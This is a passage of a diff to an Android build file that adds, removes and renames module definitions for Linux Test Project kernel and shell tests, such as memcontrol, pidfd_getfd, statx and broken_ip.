     defaults: ["ltp_test_defaults"],
@@ -7520,6 +7866,15 @@
 }
 
 cc_test {
+    name: "ltp_irqbalance01",
+    stem: "irqbalance01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/irq/irqbalance01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_kcmp01",
     stem: "kcmp01",
     defaults: ["ltp_test_defaults"],
@@ -7619,6 +7974,15 @@
 }
 
 cc_test {
+    name: "ltp_keyctl09",
+    stem: "keyctl09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_kill02",
     stem: "kill02",
     defaults: ["ltp_test_defaults"],
@@ -7691,6 +8055,15 @@
 }
 
 cc_test {
+    name: "ltp_kill13",
+    stem: "kill13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/kill/kill13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_kmsg01",
     stem: "kmsg01",
     defaults: ["ltp_test_defaults"],
@@ -7797,6 +8170,7 @@
     static_libs: [
         "libltp_kerntest",
         "libltp_ltp",
+        "libltp_ltpnuma",
         "libltp_mem",
     ],
 }
@@ -7959,24 +8333,6 @@
 }
 
 cc_test {
-    name: "ltp_link06",
-    stem: "link06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link06.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link07",
-    stem: "link07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link07.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_link08",
     stem: "link08",
     defaults: ["ltp_test_defaults"],
@@ -8211,21 +8567,12 @@
 }
 
 cc_test {
-    name: "ltp_ltp-diorh",
-    stem: "ltp-diorh",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/ltp-diorh.c"],
-    cflags: ["-DAIO"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_ltpClient",
     stem: "ltpClient",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/network/sockets/ltpClient.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -8234,6 +8581,7 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/network/sockets/ltpServer.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -8336,6 +8684,18 @@
 }
 
 cc_test {
+    name: "ltp_mallinfo2_01",
+    stem: "mallinfo2_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mallinfo2/mallinfo2_01.c"],
+    local_include_dirs: [
+        "include/old",
+        "testcases/kernel/syscalls/mallinfo",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_max_map_count",
     stem: "max_map_count",
     defaults: ["ltp_test_defaults"],
@@ -8466,10 +8826,7 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/cve/meltdown.c"],
     cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: [
-        "include/old",
-        "testcases/realtime/include",
-    ],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -8573,6 +8930,42 @@
 }
 
 cc_test {
+    name: "ltp_memcontrol01",
+    stem: "memcontrol01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/memcontrol01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcontrol02",
+    stem: "memcontrol02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/memcontrol02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcontrol03",
+    stem: "memcontrol03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/memcontrol03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcontrol04",
+    stem: "memcontrol04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/memcontrol04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_memcpy01",
     stem: "memcpy01",
     defaults: ["ltp_test_defaults"],
@@ -9436,6 +9829,15 @@
 }
 
 cc_test {
+    name: "ltp_mount_setattr01",
+    stem: "mount_setattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount_setattr/mount_setattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_move_mount01",
     stem: "move_mount01",
     defaults: ["ltp_test_defaults"],
@@ -10187,15 +10589,6 @@
 }
 
 cc_test {
-    name: "ltp_nsclone",
-    stem: "nsclone",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_bind/bin/nsclone.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_oom01",
     stem: "oom01",
     defaults: ["ltp_test_defaults"],
@@ -10317,15 +10710,6 @@
 }
 
 cc_test {
-    name: "ltp_open05",
-    stem: "open05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open05.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_open06",
     stem: "open06",
     defaults: ["ltp_test_defaults"],
@@ -10616,6 +11000,15 @@
 }
 
 cc_test {
+    name: "ltp_perf_event_open03",
+    stem: "perf_event_open03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/perf_event_open/perf_event_open03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_personality01",
     stem: "personality01",
     defaults: ["ltp_test_defaults"],
@@ -10634,6 +11027,24 @@
 }
 
 cc_test {
+    name: "ltp_pidfd_getfd01",
+    stem: "pidfd_getfd01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pidfd_getfd02",
+    stem: "pidfd_getfd02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_pidfd_open01",
     stem: "pidfd_open01",
     defaults: ["ltp_test_defaults"],
@@ -10661,6 +11072,15 @@
 }
 
 cc_test {
+    name: "ltp_pidfd_open04",
+    stem: "pidfd_open04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pidfd_open/pidfd_open04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_pidfd_send_signal01",
     stem: "pidfd_send_signal01",
     defaults: ["ltp_test_defaults"],
@@ -11189,36 +11609,6 @@
 }
 
 cc_test {
-    name: "ltp_pread03",
-    stem: "pread03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
-    local_include_dirs: [
-        "include/old",
-        "testcases/kernel/syscalls/pread",
-        "testcases/kernel/syscalls/utils",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread03_64",
-    stem: "pread03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
-    cflags: [
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_FILE_OFFSET_BITS=64",
-    ],
-    local_include_dirs: [
-        "include/old",
-        "testcases/kernel/syscalls/pread",
-        "testcases/kernel/syscalls/utils",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_preadv01",
     stem: "preadv01",
     defaults: ["ltp_test_defaults"],
@@ -11741,10 +12131,19 @@
 }
 
 cc_test {
-    name: "ltp_pty05",
-    stem: "pty05",
+    name: "ltp_pty06",
+    stem: "pty06",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/pty/pty05.c"],
+    srcs: ["testcases/kernel/pty/pty06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pty07",
+    stem: "pty07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/pty/pty07.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -12083,6 +12482,24 @@
 }
 
 cc_test {
+    name: "ltp_quotactl08",
+    stem: "quotactl08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_quotactl09",
+    stem: "quotactl09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_random-access",
     stem: "random-access",
     defaults: ["ltp_test_defaults"],
@@ -12148,16 +12565,6 @@
 }
 
 cc_test {
-    name: "ltp_read_checkzero",
-    stem: "read_checkzero",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/read_checkzero.c"],
-    cflags: ["-DAIO"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_readahead01",
     stem: "readahead01",
     defaults: ["ltp_test_defaults"],
@@ -12248,15 +12655,6 @@
 }
 
 cc_test {
-    name: "ltp_readv03",
-    stem: "readv03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readv/readv03.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_realpath01",
     stem: "realpath01",
     defaults: ["ltp_test_defaults"],
@@ -12383,15 +12781,6 @@
 }
 
 cc_test {
-    name: "ltp_rename02",
-    stem: "rename02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename02.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_rename03",
     stem: "rename03",
     defaults: ["ltp_test_defaults"],
@@ -13264,7 +13653,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile02.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13296,7 +13684,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile03.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13328,7 +13715,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile04.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13360,7 +13746,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile05.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13392,7 +13777,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile06.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13424,7 +13808,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile07.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13456,7 +13839,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile08.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13488,7 +13870,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/sendfile/sendfile09.c"],
     cflags: [
-        "-DOFF_T=off64_t",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_FILE_OFFSET_BITS=64",
         "-D_GNU_SOURCE",
@@ -13571,54 +13952,6 @@
 }
 
 cc_test {
-    name: "ltp_set_mempolicy01",
-    stem: "set_mempolicy01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: [
-        "libltp_ltp",
-        "libltp_ltpnuma",
-    ],
-}
-
-cc_test {
-    name: "ltp_set_mempolicy02",
-    stem: "set_mempolicy02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: [
-        "libltp_ltp",
-        "libltp_ltpnuma",
-    ],
-}
-
-cc_test {
-    name: "ltp_set_mempolicy03",
-    stem: "set_mempolicy03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: [
-        "libltp_ltp",
-        "libltp_ltpnuma",
-    ],
-}
-
-cc_test {
-    name: "ltp_set_mempolicy04",
-    stem: "set_mempolicy04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: [
-        "libltp_ltp",
-        "libltp_ltpnuma",
-    ],
-}
-
-cc_test {
     name: "ltp_set_robust_list01",
     stem: "set_robust_list01",
     defaults: ["ltp_test_defaults"],
@@ -14874,6 +15207,24 @@
 }
 
 cc_test {
+    name: "ltp_setsockopt08",
+    stem: "setsockopt08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setsockopt09",
+    stem: "setsockopt09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_settimeofday01",
     stem: "settimeofday01",
     defaults: ["ltp_test_defaults"],
@@ -15009,36 +15360,6 @@
 }
 
 cc_test {
-    name: "ltp_shmctl05",
-    stem: "shmctl05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ipc/shmctl/shmctl05.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_shmctl06",
-    stem: "shmctl06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ipc/shmctl/shmctl06.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: [
-        "libltp_ltp",
-        "libltp_ltpnewipc",
-    ],
-}
-
-cc_test {
-    name: "ltp_shmctl08",
-    stem: "shmctl08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ipc/shmctl/shmctl08.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_sigaction01",
     stem: "sigaction01",
     defaults: ["ltp_test_defaults"],
@@ -15264,15 +15585,6 @@
 }
 
 cc_test {
-    name: "ltp_smount",
-    stem: "smount",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_bind/bin/smount.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_snd_seq01",
     stem: "snd_seq01",
     defaults: ["ltp_test_defaults"],
@@ -15684,10 +15996,19 @@
 }
 
 cc_test {
-    name: "ltp_statx07",
-    stem: "statx07",
+    name: "ltp_statx08",
+    stem: "statx08",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statx/statx07.c"],
+    srcs: ["testcases/kernel/syscalls/statx/statx08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx09",
+    stem: "statx09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx09.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -15738,15 +16059,6 @@
 }
 
 cc_test {
-    name: "ltp_stress_cd",
-    stem: "stress_cd",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/stress_cd/stress_cd.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_string01",
     stem: "string01",
     defaults: ["ltp_test_defaults"],
@@ -16062,15 +16374,6 @@
 }
 
 cc_test {
-    name: "ltp_sysfs06",
-    stem: "sysfs06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs06.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_sysinfo01",
     stem: "sysinfo01",
     defaults: ["ltp_test_defaults"],
@@ -16116,15 +16419,6 @@
 }
 
 cc_test {
-    name: "ltp_syslogtst",
-    stem: "syslogtst",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/syslog/syslogtst.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_tbio",
     stem: "tbio",
     defaults: ["ltp_test_defaults"],
@@ -16233,15 +16527,6 @@
 }
 
 cc_test {
-    name: "ltp_test10",
-    stem: "test10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test10.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_test11",
     stem: "test11",
     defaults: ["ltp_test_defaults"],
@@ -16251,15 +16536,6 @@
 }
 
 cc_test {
-    name: "ltp_test12",
-    stem: "test12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test12.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_test13",
     stem: "test13",
     defaults: ["ltp_test_defaults"],
@@ -16287,33 +16563,6 @@
 }
 
 cc_test {
-    name: "ltp_test16",
-    stem: "test16",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test16.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test17",
-    stem: "test17",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test17.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test18",
-    stem: "test18",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test18.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_test19",
     stem: "test19",
     defaults: ["ltp_test_defaults"],
@@ -16350,6 +16599,15 @@
 }
 
 cc_test {
+    name: "ltp_test_children_cleanup",
+    stem: "test_children_cleanup",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_children_cleanup.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_test_exec",
     stem: "test_exec",
     defaults: ["ltp_test_defaults"],
@@ -16431,6 +16689,60 @@
 }
 
 cc_test {
+    name: "ltp_test_macros04",
+    stem: "test_macros04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_macros04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_macros05",
+    stem: "test_macros05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_macros05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_macros06",
+    stem: "test_macros06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_macros06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_parse_filesize",
+    stem: "test_parse_filesize",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_parse_filesize.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_runtime01",
+    stem: "test_runtime01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_runtime01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_runtime02",
+    stem: "test_runtime02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_runtime02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_test_timer",
     stem: "test_timer",
     defaults: ["ltp_test_defaults"],
@@ -16439,6 +16751,15 @@
     static_libs: ["libltp_ltp"],
 }
 
+cc_test {
+    name: "ltp_test_zero_hugepage",
+    stem: "test_zero_hugepage",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_zero_hugepage.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
 sh_test {
     name: "ltp_testcases_bin_add_ipv6addr",
     src: "testcases/network/stress/ns-tools/add_ipv6addr",
@@ -16528,74 +16849,66 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-checksum",
-    src: "testcases/network/stress/broken_ip/broken_ip-checksum",
+    name: "ltp_testcases_bin_broken_ip-checksum.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-checksum.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-checksum",
+    filename: "broken_ip-checksum.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-dstaddr",
-    src: "testcases/network/stress/broken_ip/broken_ip-dstaddr",
+    name: "ltp_testcases_bin_broken_ip-dstaddr.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-dstaddr.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-dstaddr",
+    filename: "broken_ip-dstaddr.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-fragment",
-    src: "testcases/network/stress/broken_ip/broken_ip-fragment",
+    name: "ltp_testcases_bin_broken_ip-fragment.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-fragment.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-fragment",
+    filename: "broken_ip-fragment.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-ihl",
-    src: "testcases/network/stress/broken_ip/broken_ip-ihl",
+    name: "ltp_testcases_bin_broken_ip-ihl.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-ihl.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-ihl",
+    filename: "broken_ip-ihl.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-nexthdr",
-    src: "testcases/network/stress/broken_ip/broken_ip-nexthdr",
+    name: "ltp_testcases_bin_broken_ip-nexthdr.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-nexthdr.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-nexthdr",
+    filename: "broken_ip-nexthdr.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-plen",
-    src: "testcases/network/stress/broken_ip/broken_ip-plen",
+    name: "ltp_testcases_bin_broken_ip-plen.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-plen.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-plen",
+    filename: "broken_ip-plen.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-protcol",
-    src: "testcases/network/stress/broken_ip/broken_ip-protcol",
+    name: "ltp_testcases_bin_broken_ip-protcol.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-protcol.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-protcol",
+    filename: "broken_ip-protcol.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_broken_ip-totlen",
-    src: "testcases/network/stress/broken_ip/broken_ip-totlen",
+    name: "ltp_testcases_bin_broken_ip-version.sh",
+    src: "testcases/network/stress/broken_ip/broken_ip-version.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-totlen",
-    compile_multilib: "both",
-}
-
-sh_test {
-    name: "ltp_testcases_bin_broken_ip-version",
-    src: "testcases/network/stress/broken_ip/broken_ip-version",
-    sub_dir: "ltp/testcases/bin",
-    filename: "broken_ip-version",
+    filename: "broken_ip-version.sh",
     compile_multilib: "both",
 }
 
@@ -16800,14 +17113,6 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_cn_pec.sh",
-    src: "testcases/kernel/connectors/pec/cn_pec.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "cn_pec.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
     name: "ltp_testcases_bin_cp_tests.sh",
     src: "testcases/commands/cp/cp_tests.sh",
     sub_dir: "ltp/testcases/bin",
@@ -17288,362 +17593,770 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bin_check_prop",
-    src: "testcases/kernel/fs/fs_bind/bin/check_prop",
-    sub_dir: "ltp/testcases/bin/fs_bind/bin",
-    filename: "check_prop",
+    name: "ltp_testcases_bin_fs_bind01.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind01.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bin_lockfile",
-    src: "testcases/kernel/fs/fs_bind/bin/lockfile",
-    sub_dir: "ltp/testcases/bin/fs_bind/bin",
-    filename: "lockfile",
+    name: "ltp_testcases_bin_fs_bind02.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind02.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bin_makedir",
-    src: "testcases/kernel/fs/fs_bind/bin/makedir",
-    sub_dir: "ltp/testcases/bin/fs_bind/bin",
-    filename: "makedir",
+    name: "ltp_testcases_bin_fs_bind03.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind03.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bin_setup",
-    src: "testcases/kernel/fs/fs_bind/bin/setup",
-    sub_dir: "ltp/testcases/bin/fs_bind/bin",
-    filename: "setup",
+    name: "ltp_testcases_bin_fs_bind04.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind04.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bin_setupnslock",
-    src: "testcases/kernel/fs/fs_bind/bin/setupnslock",
-    sub_dir: "ltp/testcases/bin/fs_bind/bin",
-    filename: "setupnslock",
+    name: "ltp_testcases_bin_fs_bind05.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind05.sh",
     compile_multilib: "both",
 }
 
 sh_test {
